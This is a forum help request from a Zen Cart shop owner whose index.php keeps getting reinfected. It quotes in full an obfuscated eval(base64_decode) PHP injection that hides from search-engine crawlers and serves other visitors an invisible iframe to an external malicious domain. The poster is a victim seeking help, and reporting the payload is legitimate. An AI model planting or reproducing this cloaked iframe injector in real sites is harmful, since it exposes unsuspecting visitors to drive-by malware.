about eval base64 code hacked

Dear friends,

Glad to psot here
I have faced a little trouble.
My zen-cart site(something like oscommerce store) was hacked some days ago on 2011.8.6

I found some bad code on my site's index.php...Like this:
<?php eval(base64_decode('ZXJ.....
Detail code:

<?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFycmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJJGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGRpdiBzdHlsZT0icG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtMTk5OXB4OyB0b3A6IC0yOTk5cHg7Ij48aWZyYW1lIHNyYz0iaHR0cDovL2l5bnp4em9hZi5jby50di9pLnBocD9nbz0xIiB3aWR0aD0iMyIgaGVpZ2h0PSIzIj48L2lmcmFtZT48L2Rpdj4nOw0KfQ=='));

Code (markup):

When i remove it away,some minutes or some hours later,this bad code came back again.I almost got crazy by this trouble...

I have not faced this problem before,so im asking you about how to fix this trouble up?

Many thanks

Jones

 

dixis.com/?p=511
wordpress.org/support/topic/malicious-code-in-indexphp-keeps-coming-back